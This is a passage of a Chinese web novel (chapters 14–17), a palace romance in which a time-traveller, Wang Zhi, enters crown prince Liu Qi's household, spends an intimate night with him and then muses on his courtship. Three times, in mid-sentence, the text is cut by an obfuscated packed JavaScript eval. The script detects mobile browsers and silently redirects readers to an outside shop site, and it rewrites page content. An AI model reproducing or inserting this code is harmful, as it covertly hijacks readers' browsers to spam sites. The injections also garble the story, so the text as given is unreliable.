而另一方面——如果他突然改口的话,王娡会不会感到强烈的落差感呢?那些宫人会不会因此犹疑甚至轻视她呢? 反正只是参乘一小段路而已。刘启安慰自己。他又没有高祖那么混不吝,帷薄不修到大臣跟他奏事,高祖还能直接把戚夫人搂怀里说话的程度。 估计也只有那些曾经被高祖深深伤害过自尊心的士人群体们会相当在乎这件事,那些和高祖一样草莽出身,本是贩夫走卒之辈的大臣嘛—— 太子都没有像高祖那样,见到个儒生来拜访他,他就要把人家冠解下来溺在其中。他私底下行事稍微不那么规矩又怎么了呢? “到了家里再说。” 刘启矜持地坐好,委婉劝谏了一番王娡的眼神。 和人坐一起是没问题的,但他觉得自己还是做不到和人在马车里就准备干啥干啥的。 ——他比高祖要脸得多。 “殿下想到哪里去了?” 王娡故作不满地睨他一眼。 她也没打算和人玩一些很刺激的普雷啊?哪有一上来就挑战这么高刺激的。 “妾只是好奇——人的筋肉在不刻意发力的时候,真的是软的吗?” 她想捏捏。 14.第 14 章 刘启的太子宫位处北宫。顾名思义,地处未央宫以北,并不在未央宫殿群范围内。 但实际距离也并不很远,只隔了一条直城门大街,且之间有复道相连。太子每逢朝日,就是通过这条复道直接前往未央宫,免得和其他想要通过北阙进宫的大臣撞上。 馆陶长公主是刘恒的嫡长女。皇帝疼爱女儿,给她赐的宅邸自然也是长安地段最佳的片区,位处北阙甲第之列。而北阙甲第名字的由来也同样朴实无华:因为它就建在北阙附近。 所以姊弟俩的住址其实很近。王娡没等很长的时间,就感觉到座下的车马已经停了下来,不管她到底有没有打算和刘启实施什么邪恶计划,都已经没有时间了。 车门外,太子洗马恭敬地叩了声门户,声音透过门扉传进厢内,显得有些微弱与变形:“殿下,已至宫门,请乘辇。” 刘启嗯了一声,照旧先行一步,挑开帷幕,打开车门,然后转身对王娡伸出手。 王娡握住那只手,一股熟悉的力量感带着她走出门去。视线中的风景变换,她微微眯起眼,适应完光线的变化,看向北宫的殿门。 北宫在刘邦在位的时候就有所草创,本来是打算作为皇帝后宫的一部分。但是之后汉家诸事大多始料未及,等到刘恒继位之后,这里就成为了孝惠皇后张嫣的流放之地。 直到几年前太子及冠建府,刘恒又把自己亲儿子安排在这里。 听起来虽然有点离谱,但是考虑到西汉宫室那比之后世各朝代辽阔太多的占地面积,张嫣和刘启尽管名义上同住一宫,日常生活也绝对称得上井水不犯河水。用“有不见者,一十三年”来形容,都不算为过。 也许也是托了刘启这位太子的福。北宫虽然是张嫣的幽禁之地,也尚且没有经历后来孝武皇帝的修缮扩建,可依旧称得上雕梁绣柱,画栋飞甍。绮丽同时继承了汉家宫阙一贯的大气恢宏,放眼满是一片震撼之感。 刘启到了自己的地盘,也显得更放松了不少。他挥手拒绝了太子洗马的搀扶,侧脸含笑看着王娡:“能自己下去吗?” 王娡瞥了一眼。 车马下,已经有机敏的内宦弯腰联手搭起了肉桥,只待她踩着下车。而不远处,太子宫内的车辇已经备好。太子卫率知晓太子回宫,早早命人打开了宫门。 重重门扉朝她缓缓洞开,而每道宫门两侧排列整齐的门卫目不斜视,执戟戍卫,肃穆得宛如一柄柄冲天的利刃,身上披甲闪着杀气森森的寒光。 “九天阊阖开宫殿,万国衣冠拜冕旒。” 王娡的脑海中突然闪过这样一句其实不甚贴合的诗句。此处没有万国衣冠,汉家天子的冕旒还要等到那个没问世的崽才会出现,孩子他爹也只是太子不是天子——其实哪哪都不合适的。 只有那份普天之下唯我独尊的权势如出一辙。 她慢吞吞地收回目光,对上刘启耐心中还带着戏谑的眼,好似有些羞赧,用衣袖稍微遮住了脸:“——如果我说不能呢?” 她不喜欢踩着人下去。尽管只是人的手臂而非脊背,而在封建社会的记忆告诉她这算不上有多侮辱。 为什么不能发明一俩个矮凳来供人下车,那不比人来得可靠结实得多吗?——哦,对不起,忘了凳子还没有出现在你们汉朝人日常生活当中了。 ……所以难道等她有权有势了,第一步的发明创造竟然是桌椅板凳之类生活用品? 嗯,这怎么不算一种基建路线呢。 反正她纯文科生出身,历史专业还不用学高数。基本上理科知识早在高中分完科后就忘得七七八八,数学也在本科期间退化到AA制结账还要计算器帮忙算术的程度。你让她这么贫瘠的理科素养,能在中央集权都没发展完善的汉初搞什么大基建路线呢? 大家谁也别嫌弃谁水平菜,刚好什么锅配什么盖。 刘启笑了。 他没让别人扶他,挥挥手,也让下面那两个甘愿做人肉台阶的宦官散开,自己一撩下摆,身手矫健地跳了下去。站稳后,转身对她张开双臂。 “那就扶着孤。” 王娡盯着他,好一会才伸出手,撑在刘启肩上。 她屈膝往下一跃,很快感觉自己周身那种下坠的失重感消失了。 她没入一个温暖的怀抱。有一双相当有力的臂膀拥住了她,将她稳稳地揽在怀里。 刘启用的是巧劲,哪怕是刚刚接到她,两人发生碰撞的刹那都不是很痛。他一只手撑着王娡的腰,另一只手陷在她的腿弯里。王娡原本抵在他肩上的手已经下意识地交握搂住他的脖颈,整个人的重量全部托付在他身上。可他的手却一点没抖。 王娡的脑袋抵在他的胸膛。 她不恐高,从车马跳到地上的高度也绝算不上很高,哪怕刘启没有接住她,她其实也不会受伤,顶多就是落地的时候有点痛,姿势也不是很雅观而已。 可她的心脏就是不受控制的紧张,因为那一瞬的坠落感而呼吸急促,血液流动加快。她的耳膜此刻满是心脏震跃的跳动声,几乎要盖过刘启说话的声音。 他好像和她心有所感。 “没事,我接住你了。” 他低下了头,看着窝在他怀里的王娡,再强调了一遍: “我接住你了。” 他没办法在王娡耳边对她悉心承诺,没办法像之前那样,两人将距离拉近到几近耳鬓厮磨的程度,让呼吸间的热气都晕染扩散在耳根。 可王娡听到了。 她在自己紧促的心跳声中捕捉到了那个稳定而不同的节拍,听到了那胸腔中与声带共振的频率。她又把自己往刘启怀里贴了贴。 也许是因为双臂要发力抱着她,现在的触感没她听说过的那么软。 但很饱满。富有血肉的弹性。 王娡听着刘启的心跳,感觉着自己的呼吸与他同步。 步辇本来并不高,她可以自己走进去。但刘启似乎是想着方便,干脆没把她放下,又抱着她进了辇。 目的地应该是太子的寝殿。 王娡的眼睫闪了闪,终于后知后觉有了几分自己终于进入太子后宫的实感。 从此,她和刘启 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456856|153876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是彻头彻尾,一条船上的人了。 “——现在才开始紧张,会不会有点晚了?” 她听见刘启透着揶揄的嗓音从上方传来,恍然才发觉,哪怕已经进了步辇,刘启其实也没把她放下。他们实际上依旧保持着一个依偎的姿势。王娡将自己整个人扑在刘启的怀里。 他原本勾在她膝弯里的手此刻抽离了出来,慢悠悠地抚摸着她的嘴唇。大拇指颇具暗示性地最终抵在了她下唇瓣上。 天色已经渐暗。 重重夜色带着帷幕的阴影笼罩着帐内,除却随行宫人手中隔着轻纱晕染开一片光晕的宫灯,此处就再也不见其他光源。 王娡抬眼去看刘启的脸。 昏暗的光线此刻成为了氛围最好的助演。夜间微凉的晚风穿入步辇层层的帷幕,带起一阵缭乱的弧度,也拂过两人有些散乱下来的额发。 其他一切都隐隐被吞没进黑夜的影子里,只有刘启的脸庞还带着月色一般冰凉的清晰。 他的眼睛里照着月光。 王娡眨了眨眼,张口抿住了刘启的指尖。 刘启因指尖那一瞬濡湿的温热而一怔,再要有所动作的时候,就见王娡已经收了回去。 她从他的怀中撑起来,双手还是搂在他的脖颈之后,整个人侧坐在他的膝上。他的手从她的脸上离开,搂住她位置正合适伸手的腰。 然后她凑近过来,像他梦中那朵不慌不忙、慢慢悠悠的自在的云,柔软的嘴唇贴在他脖颈的侧方,落下一个微凉的吻。 “……我不紧张啊?” 刘启记得她笑起来的时候,那双明眸总是善睐的,而此刻却更多了几分像是捕食者一样的锋利。 王娡挽在刘启颈后的双手分开,一只搭在他的肩上,另一只却向上摸索。她将五指没入太子刚刚洗沐过一遭、用香泽方才养护过,此时颇为柔顺润滑的黑发中,轻柔地示意他压低下头颅。 她亲吻他。用唇的触碰,用舌尖一点点描摹唇纹的走向,用默契地叩开彼此的齿门,交换彼此的热度。 他梦境所没有带给他的一切感受,她现在乐意为他展示。 两个人松开的时候,彼此的呼吸都带着急促的紊乱。王娡继续摸了摸他手感很好,显然发质颇佳的黑发,轻咬了一下刘启的下颔。 万恶的封建社会统治阶层,感觉刘启的头发养护得比她还好。 刘启有些迷惑地嗯了一声,但也没当回事,将这也看做调情的一部分。他主动低下头,温热的吻细细密密地落在她的眼角和脖颈,直到王娡实在受不了这份带着瘙痒的撩拨,又摁着他深吻了一次。 “——不亲了。” 第二次之后,刘启才宣告放弃这样你来我往的暧昧。他算着脚程,轻声对王娡预判:“快到了。” 快到太子的寝殿了。 “不、——别玩了,再忍忍。” 刘启想了想,又纠正了自己前面的说法。 他伸出小指,轻轻勾了勾王娡的手。 ——仿佛暗示了什么,一时忍耐之后就可以得到的东西。 15.第 15 章 平明。 天边刚刚蒙上一层微光,室内方才明亮了少许,刘启就被身体的生物钟从睡梦中唤醒。 困倦的眼皮沉重得难以睁开,他有些迷糊地半阖着眼,拉着被褥,整个人往上挪了挪,倚靠在床头。他伸手捂住自己的脸,大脑在半梦半醒之间,相当缓慢地运转着。 他听见身侧传来翻身的声音,然后一个热源凑近过来,臂膀上多了一份温暖的重量。她抱住了他的腰,靠在他的怀里。 “……嗯?……” “……怎么起这么早……殿下……不困吗……” 也许是因为刚从睡梦中恍惚吵醒,她说话的语气也是含混的柔和,语调间还带着点模糊的软绵。断断续续的发言在她喉里搅和成一团,万幸是刘启还听得懂她的发音。 他闭着眼,将被王娡压在身下的手抽出来,反搂住她。 她枕在他的胸膛上,似乎是因为这个姿势实在舒适,又或许是因为时辰实在太早,而他们昨晚闹腾得又太晚,短短一句话的功夫结束后,此时已然重又开始了浅眠。 她平稳的呼吸仿佛带着一种催眠般的韵律,让本就同样昏昏沉沉不甚清醒的刘启也更意识朦胧了几分。 ——今日反正本来是休沐,不是吗? 刘启打了个呵欠,从床头又滑进被褥里。两个人的手脚纠缠在一起,你依偎我我拥抱你模式的亲昵。 他低头靠在王娡的头顶,闻着美人发间淡淡的幽香,放松地合眼睡去。 刘启是自律不假,但他又不是自虐。 在假期里面偶尔放松一次,本就无失大雅。何况平明确实太早,他强行起床,休息不够,反而才有损身体。 两个人就这样黏黏糊糊又糊里糊涂地再睡了一个回笼觉。 * 王娡从睡眠中幽幽转醒,就发现自己枕在刘启身上。 床上的帘帐被挑开了一层,外界的阳光便透过薄纱温柔地铺洒进帘中,让本该昏暗的环境多了几分不甚刺眼的明亮。 未来的孝景皇帝倚在床头,就着这份柔光阅读起手中握着的一卷不知道写了什么的竹简,神情悠闲地打发时间。 听见她起床的动静,刘启的目光就从那书简上挪开,懒洋洋地摸了摸她的长发:“醒了?要不要再睡会?” 王娡昨晚就勒令他散开了发冠,于是此刻乌黑的长发依旧垂落在他的脸侧。他披了一件中衣,也许是因为她枕在腰侧的缘故,不便拉紧的衣襟大敞着,露出他上身一片靓丽又凄惨的好风景,看得王娡霎时都有些脸红。 刘启见她神色,稍一思索,很快便知她所为何事。于是将手中书卷往床头一搁,他挑眉轻笑。 “娡儿可还不曾忘了自己的累累战果吧?” 他拉着王娡的手,抚摸上自己的锁骨,一处处指给她看,相当玩味地带她回顾每一处痕迹落下时的场景: “这是我把你从辇上直接抱到床上,放下来的时候,你泄愤咬的牙印。” 准确来说,她咬的是刘启脖颈和肩膀链接处的那块筋肉。刘启被她咬得倒吸冷气着喊痛,委屈地要她多亲几下补偿他,但后来突然想起衣服的问题,忙不迭求她往下咬,别在外人看得见的地方留痕。 王娡是个大度包容的人。所以此刻太子的脖颈上干干净净的一片,只要拉上衣襟,绝对没人能发现他昨晚过得有多精彩。 “这是我们刚开始……你报复我的时候留下的痕迹。” 刘启不是什么青涩的无知少年,理论和实践经验都相当丰富。可比起单刀直入,他却更喜欢你情我愿、你来我往式的交流。 王娡也不是什么懵懵懂懂的姑娘。上辈子她有前男友,这一世更是都已经当了母亲。她生得好看人又优秀,找对象自然是优中选优,不管是前男友还是金王孙,个人条件都称得上卓越。 但刘启和他们风格都不一样。 矜贵的太子殿下,行事举止之间却偏偏带了点粘人一般的细腻,他对她的关心就真如编织成了一张细细密密的罗网,无微不至地笼罩下来。 刘启平日里勤习弓马,指甲向来修剪得长短合适。这样待他拉弓射箭的时候,手臂流畅的线条因用力而绷紧。指甲浅浅地陷进肉里,并不扎人,也完全不痛,但平日里做事也不会不便。 王娡被他惹得眼眶都红了一圈,结果却看见此人竟然依旧居高临下,颇为游刃有余地玩味看她,自然生恼他这幅假模假样的伪清高,气得又咬了他一口。 能留下这样青到发紫的痕迹,那力度和咬其实真的没什么区别。 “还有这里、这里……” 刘启握着她的手继续,这回却轮到他难以启齿了。他没脸将当时具体的情状复述一遍,但比起锁骨上的几处痕迹,他说话的语气中很明显多了几分羞恼。 孝景皇帝的脾气不好众所皆知,可王娡显然也不是什么能唾面自干的好人。 刘启行事喜欢有条不紊,喜欢慢条细理,喜欢看美人“侍儿扶起娇无力”、“云鬓花颜金步摇”是吧? 好巧,她也喜欢。 于是此时此刻,又如彼时一般攻守易型。王娡的脸上缓缓绽放出一抹盈盈的笑意:“殿下怎么不说话了呢?” 她的手指轻飘飘地从刘启的皮肤上拂过,幽幽发问:“妾好像记不太清了。殿下当时最喜欢妾碰哪里来着呢?” “这里吗?” 也许是更为亲密的接触都做过几回了。王娡这回碰的时候,手底下的触感依旧是柔软的,并没有像第一次时候那样紧张得绷起。 很好,有进步。她点了点头,手继续往下。 “还是这里?” 这边的训练成果显然就没有那么显著,又或许还有腹部的体脂本就更少的缘故。王娡再碰的时候,刘启依旧下意识收紧了力道。 “……别碰那了。” 太子的声线也绷紧了。王娡抬头看一眼他,发现此人竟然又拿起了那卷书简试图装样,整张脸被遮得严严实实。 玩不起。 王娡在心里郑重谴责他这种釜底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468340|153876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽薪的恶劣行为:这种事情就是要看对象反应才有趣啊!你自己逗别人的时候看得可爽,自己被别人反过来逗的时候就闹别扭? ……好吧,也可能是我们大汉靠谱太子殿下觉得再闹下去多少得沾点白日那啥,所以决定矜持一下。 王娡见好就收。刘启炸毛确实是一件风险指数相当高的事情,如非必要,王娡还不想跟他强行对着干。 ——万恶的封建社会等级制度。 这要是放在现代,她才不管刘启是不是害羞了或者闹别扭了。都是她对象了,她上手摸摸怎么了?这叫小情侣的情趣懂不懂! 但身在古代,人还是太子。人就是不能随便惹的。 她一边遗憾地回味了一下昨天刘启被她报复回去、同样忍到眼眶泛红的脸,一边乖巧起身,跪坐在了刘启身边: “那殿下可要起身了?” 刘启顿了一会,没出声。也许是等到脸上表情都整理好了,才放下遮面的书卷,看了她一眼,为自己先前阻止她解释道: “——已经快到食时中了。” 王娡心中换算:那就是早上七点多,快八点。 这要是放在现代,大学生早八起床不过这个点,她依旧要叫苦连天起不来的。 可是这是在夜生活稀薄的古代,为了省掉一笔可观的油灯钱支出,人们眼下是真的习惯于早睡早起。哪怕是昨晚两人很是胡闹一番,最后歇息下的时间也绝没有超过十一点。 刘启此前还问她还要不要再睡一会,确实是很迁就她了。 “我帮殿下更衣。” 王娡体贴道,伸手帮刘启收拢起敞开的衣襟,整理好原本只是披着的中衣。 “不用了。” 刘启唇角上扬,显然对王娡这般动作很是受用。他从床上利落起身,却制止了王娡跟着下床的动作:“我自己来。你再歇会,我叫宫人等会给你拿身新衣裳。” 话都这么说了,王娡没有主动揽活的想法。刘启也确实不需要旁人帮忙或者伺候更衣,动作相当熟练和迅速,没一会整个人就又变回衣冠楚楚的太子殿下——除了依旧散着长发。 他扬声对着门外吩咐了一声,很快有宫人规矩地捧着新衣和盥洗工具进来。王娡也不习惯旁人帮忙,只让她将东西放下就好。 “要我帮殿下冠发吗?” 王娡一边自己梳洗,一边见刘启顺手将长发一绾就要出门,还是没忍住出声发问。 看得出来,如果说她昨天白天撞见的太子别的都有可能是他自己打扮,头发绝对是旁人帮忙梳理的。 “我先去前面习剑。” 刘启有着晨练的习惯,今早下意识在平明时分就隐隐清醒过来,也是因为快到他平时晨起练剑的时辰了。今早既然躲懒抱着美人睡了个回笼觉,眼下补回来也是常理。 ——“你想看吗?” 太子殿下半侧着身,朝她投来的眼神中,透着一抹满是笃定的笑意。 王娡:…… 很明显吗? 16.第 16 章 刘启是个很聪明的人。 晁错在上书中自然免不了些许夸大的成分。将八分好说成十分好,将三分坏说成五分坏,为了给自己的论点增添说服力,简单地将事实用言语再多编排些许,毫无疑问是每个写报告的人的基本功。 可他对太子夸的材智高奇,意外确实是他本人的真情实感。 王娡最后还是顶着刘启仿佛一切都在预料之中的骄傲眼神,真的跟去围观了太子殿下晨练的场合。 她表面乖巧地站在一旁。自有机灵的宫人为她搬来坐席请她入座,可王娡看了一眼,含笑拒绝了这样的好意。 她看着刘启的方向。 很显然,尽管先前二人那番交流听起来很像是新一轮调情的开端,实际当刘启开始行动的时候,他就已然陷入了心无旁骛的状态之中,完全没考虑王娡的存在。 也对。 王娡伸手点了点下颔,目光停留在刘启的身上。 向来因爱而生忧,由爱而生怖。如果不是真的欣赏刘启,不是真的忧心大汉,他又怎么会为刘启的缺点急得那么上火? 青年右手持剑而立,并没有规规矩矩地摆出什么正经的持剑礼,只是很放松地站着。夏日上午时分就显得格外明亮的日光落在他的脸上,照见一副漫不经心的神色。 然后、刹那间,他原本放松的手腕突然有力一提,带动着剑尖猛而向下啄击。以点剑起手,随后立即曲肘提剑,以立剑式前刺而出。 朝上的剑刃映出一片雪白的森光,长剑划破空气带动出声声锵鸣。刘启哪怕是练剑也是以两招颇具攻击性的技巧先手,锋芒毕露,尽显棱角。 他的击剑的技巧显然相当娴熟,剑光流转之间,满是剑术特有的敏捷飘逸。 王娡冷静地将这一切收入眼中,脑海中却慢慢回放着她和刘启自重逢以来的每一个场景,复盘着这两天的经历: 刘启将这份聪明很显然也运用在她身上,他在有意地分析并解读着她整个人的倾向,并用这份认知来、嗯——王娡反复斟酌着用词,可最后还是只能蹙着眉,道出一个“讨好”来。 ——未来的孝景皇帝这两天在有意讨好她。 王娡最后将这个结论从一堆思绪中捋出来的时候,也只觉得诧异。甚至难免审慎自省了几分,生怕是自己一时太过顺风顺水,误会错了什么方向。 可不论她将这两天短暂的相处模式再怎么翻了个底朝天,却发现自己确实是实在找不出第二个理由。 王娡轻轻合上眼,手背在身后垫住自己身上的新衣,缓缓靠在庭院的墙壁上。巍峨的宫殿矗立在她的身前,太阳从她身后映照过来,一道院墙的阴凉就足够将她的身影吞没。 为什么呢? 她询问自己。 如果我是刘启、我是大汉的太子。她对自己说,设身处地地思考着刘启也许会有的逻辑。 他当初为什么一定要先问我愿不愿意——他怕我是不自愿的。我为什么可能会是不自愿的? 王娡睁开眼,唇角忍不住带起一抹笑意。 青年转腰旋臂,长剑自左往右划过一道饱满的弧线,带出他身形流畅的线条。 顺手绾的发髻终究不够牢靠,随着他的动作有些散乱。几缕黑发就从发带的束缚中挣脱出来,垂落在他面色冷淡的脸侧。 抹剑是以对准敌人脖子下手为目标创造出来的剑招,尽管在实战过程中,由于抹喉的难度过高,这一招的作用往往只是起试探作用。但刘启此时用出来的力道确实实打实的,带着森然锐气的一剑。 王娡看着这一切。 真的吗?因为害怕她是有人为了贿赂太子特意搜罗献上的“礼物”,所以迫不及待地想确定她是真的、只是出于自身的目的对他有所图谋?甚至巴不得她对他有所图? 刘启最后的道德,是给了她一次拒绝的机会。 而在那次同意的之后……哪怕她并非真心,刘启也要强求这不是假意。 用甜蜜的耳语,用细腻的关怀。用她身上他所观察到的倾向与癖好,他能满足的一切。 血液的流动因情绪的波动而加快,心跳的震动一时迅速如擂鼓。王娡伸出手,默默掩住了自己温度有些上升的耳尖,半是羞恼,半竟是有些……不安。 她拿的明明是上班升职剧本对吧?怎么有人一上来就帮她强行换赛道了呢! 现在对她新鲜感正浓的时候,愿意委屈自己伏低做小讨她欢心的——要是等到不爱了呢? 听起来攻略对象自己主动反攻略是很爽。可是现实又不是什么游戏,刘启是个活人又不是那种好感度不会轻易掉的NPC。 上来给她拼命塞好感度,不管她做啥都说好好好,啥都顺着她来,不用她思考就能坐享攻略成功的爽感——等到刘启万一有朝一日抽身离开的时候呢? 她能确信自己了解到的刘启的喜好,是他本人真实存在的,而不是他顺从迎合伪装出来的吗?她能确信自己一如往常做出某些举措的时候,会不会被兴致已过没那么包容的刘启反倒嫌弃吗? 王娡:…… 这什么倒贴恋爱游戏npc啊,这分明是心理恐怖游戏大boss啊?! 关键是这人甚至可能这么干的时候完全属于无意识行为。 …… 更可怕了。 * 刘启练完最后一式,本要习惯性收剑入鞘。但被压抑许久的思绪此刻终于重返大脑,他手一抖,鬼使神差着就顺势多挽了一个剑花。 日光在剑刃上跃动,沿着长剑的行动而如行水般流淌起伏,在视觉中连成一道流白。 剑花虽然名义上还保留着一个迷惑敌人视线的作用,但从实战效果来看,真正的厮杀很明显更比得是简洁高效的技术,这样的招数难免会显得有些花哨与累赘。刘启虽然会用它来练习手腕的灵活程度,但平日一般不会把它加入剑招的训练中。 ——可它真的很帅。 他抬眼朝一旁望去,矜持地等待着对方的评价。 不论是单纯欣赏最后剑花的美观与艺术性,又或者是有些根底能看出太子剑术的不凡,甚至哪怕是单纯食色性也盯着他看半天——刘启很自信自己绝对每点都相当优秀。 就是不知道王娡是偏向欣赏哪点的,她会更喜欢什么样子的? ……可王娡没看着他。 她就站在院墙下的阴凉里,单手掩着半张脸,微微垂落着视线。 在阴影里,她乌黑的发显得泛着幽幽的光泽,她素白的肤衬得愈发得白皙。刘启一眼望过去,她的轮廓在黑暗的对比下更显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497510|153876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晰。 刘启抿了抿唇,不太确定自己心头瞬间涌起的太多情绪到底如何可以抽丝剥茧分辨清楚。他收剑入鞘,缓缓步行向王娡的方向。 在他的距离临近到一定程度的时候,她好像是突然感知到了他的接近,倏忽从某种迷幻接近梦境的状态中挣脱出来,仰面看他。 “娡儿?” 刘启眨了眨眼:“是太累了……还困吗?真的不需要再歇息会吗?” 他走近了才发觉,王娡肤色的那种白很明显失了些许血色,透着一种虚弱。 “——不用。就是日头有点大,妾先前晒得有些头晕。” 王娡对着他盈盈一笑。她的笑里有着温柔与甜美。 “多谢殿下关心。” “殿下的剑术技艺,确实过人绝远,非常人所能及。” 她这番夸奖真心诚意。 刘启的剑法显然兼济了礼仪性与实用性,既轻灵潇洒相当美观、很符合剑术在这个时代开始朝着一种身份地位象征演化的趋势,又不乏真正的杀伤力。他每次挥剑的力度与态度都绝不是可以用花架子、甚至强身健体就能简单概括的。 王娡上辈子在大学围观过武备研究协会的社团活动,其中就包括了短兵训练。 两相对比下,说的并不需要夸张,刘启的剑,应该是真的能做到迅比彗星袭月、烈似白虹贯日,出剑有如仓鹰击于殿上。 他是真的能用剑术杀人的那种人。 “殿下出了这么多汗,还是赶快去沐浴换洗一下吧。虽然天气并不冷,但也不排除寒气入体的可能。” 王娡贴心地建议着。 并不是多汗体质·虽然真的很热但是绝对没出汗多到能被评价为“出了这么多汗”·衣服都没湿的刘启:? 错觉吗? 怎么感觉好像被嫌弃了? 但这好像也是在关心他的话? 刘启一边被她带着往内室走,一边突然被这完全不在预料之中的反应打了个措手不及。 他盯着她那送他到了地方就转身平静告退离开的身影,默默解开了自己的衣带。 周围的宫人在安置好一切之后,也都熟练自然地离开,将安静的内室此刻只留给刘启一人。 太子殿下尽管从小娇生惯养,除了因为亲爹登基、跟着从代地赶到长安很是颠簸过一阵外,从没吃过什么苦头,但自理能力意外相当的出色。 熟悉太子的宫人都知道,刘启其实是一个不太喜欢身边有内宦宫人跟着伺候的性子。 他喜欢安静,喜欢一个人待着,好思考些什么。 太子将自己埋进浴桶里。 * “……奇怪。” 他摸了摸自己的脸,自言自语: “她不是喜欢这样的吗?” “怎么反应变了?” “我明明没做错啊。” 他顿了顿,又思考了一番自己这两天的所作所为。 “——本来不是要成功了吗?怎么突然一下子冷下来了。” 琢磨了一下她态度转变的时间,他的眼睛里闪着明亮的好奇、和跃跃欲试的兴奋。 “她今天想到什么了——?” 未来的孝景皇帝眉眼上挑,唇角勾起一个莫名危险的弧度。 17.第 17 章 王娡把刘启哄去沐浴,但也不能就这样匆匆离开。 且不说刘启本来就有让她伴驾之意,旁人不敢轻易任她离去,害怕刘启出来寻人时没有找见,到时候平添乱子。王娡自己也没有要走的想法。 她都不知道自己未来的住处在哪,哪怕是走,又能走到哪里去? 去拜见刘启眼下的正妻薄氏——王娡并不知道那位未来的薄皇后的姓名,只能姑且这么称呼她——确实不失为一种选择。管理后院本就是属于正妻的权力,由她来指定王娡未来的院落从道理上毫无问题。 ——可王娡不乐意。 太子妃的权力无论如何也是敌不过太子的。 王娡很平静地这么想。 她为什么不让正在兴头上、对她新鲜感正浓,肯定会偏向她的刘启做决定,而要让如今素未蒙面,未来也注定会站在敌对立场上的薄氏分配她的住所? 薄氏背靠薄太后,是薄太后亲自搭桥牵线为还是太子的刘启选定的正妻,按理来说应该是位才貌俱全的名门淑女。 但历史上孝景皇帝就是不宠爱她。 刘启身边宠爱的美人一个接着一个换,一个接着一个生,可他就是吝啬到不肯给这位祖母家选出来延续薄家富贵的正妻哪怕一个孩子。 等到薄太后去世后不久,薄氏就以“无子无宠”被废。 没孩子在古代封建社会已经是很靠谱的废后理由了。史书还一定要强调一句无宠,不得不说这对夫妻之间的感情是真的糟糕透顶。 一个很不受丈夫宠爱,本来可以依靠家世拥有幸福婚姻,却作为政治的牺牲品,被迫出演怨偶剧本的不幸女人。她会对丈夫的新欢和颜悦色吗? 难说。 王娡可不想在这种事情上做无意义的赌博。 * 伺候的宫人熟练地引王娡去厢房休憩稍等。因为记得这位新来的夫人和太子一样不喜旁人打扰,她在引完路后就体贴地侧身侍立在门外,只用眼角的余光关注着里面人的举止。 宫人只是明面上习惯地保持沉默,可自从这位夫人是随太子参乘而来的消息被昨晚迎接的仆役散播开来,这宫中又能有多少人真的稳如泰山,对这位新进的美人毫无好奇? 卫芙也不例外。她能够被安排到太子身边,平日里自然也是素以规矩示人的。但她到底年纪不是很大,眼下就有些没按捺住自己的好奇之心。 她见王娡左右扫视了厢房一番,竟然对着太子那一架的藏书露出了满意的微笑? 尽管她并没有径直拿取,最后只是寻了处坐席坐下,伸手摁了摁自己的额角,仿佛有些伤神头疼。可卫芙这些年察言观色成了习惯,不难发现她应是真喜欢太子那堆藏书。 那可不是歌谣辞赋,都是些她听都听不懂的东西! 卫芙不识字。但她在帮忙整理维护那些藏书的时候,曾经感叹过太子的好学。和她一道的林侍史是很早就跟在太子身边的老人,听到这话后很是高兴地对她说,这里面甚至少有什么橘宋辞赋之流,全是百家之学。 卫芙听不懂那些文绉绉的辞藻,于是林侍史就告诉她,她往日爱听爱唱的那些歌谣,就是太子这里没有的前者,也就是说这里的书全是太子学习可能会需要的。 卫芙当时听了这话对太子有多敬畏,眼下对这位新夫人就有多钦佩。 她竟然能喜欢和太子一样的东西,怪不得太子一定要把她带回来呢! “——女君?” 卫芙正在暗自佩服王娡,竟然能对太子那颇为沉闷的爱好提起兴趣,耳边就传来王娡轻声的呼唤。 她一个激灵,转身低头走进室内:“婢子不敢当夫人这么称呼!夫人有何吩咐?” 卫芙看见新夫人施施起身,走到了她的面前。离得远的时候,她还敢偷瞥夫人的样貌,觉得漂亮得仿佛神女在世,和后院其他夫人虽是一脉相承的艳丽,却又多了几分说不出来的脱俗之美。 但眼下,这么近的距离,她规规矩矩地恪守宫中老人的教导,就不敢抬头直视夫人的容颜了。她满眼只有一片织锦的缎子,太子紧急吩咐人改好的尺寸,上面绣着乘云绣的图案。 “那我该怎么称呼你呢?” 夫人似乎并不急着要她做事,语气很温和地问她的姓名。 “婢子名唤卫芙,夫人喊婢子芙儿便是。” “那就芙儿,”她听见夫人似乎是笑了一声,“不用这么拘谨,把头抬起来吧……我只是初来乍到,人不生,地不熟,这心总跳得厉害。所以想要找人问些事情,好安定下来。” * 她记得这个做事伶俐的宫人,是先前见她旁观刘启练剑,曾经询问是否要给她搬来坐席的那位。 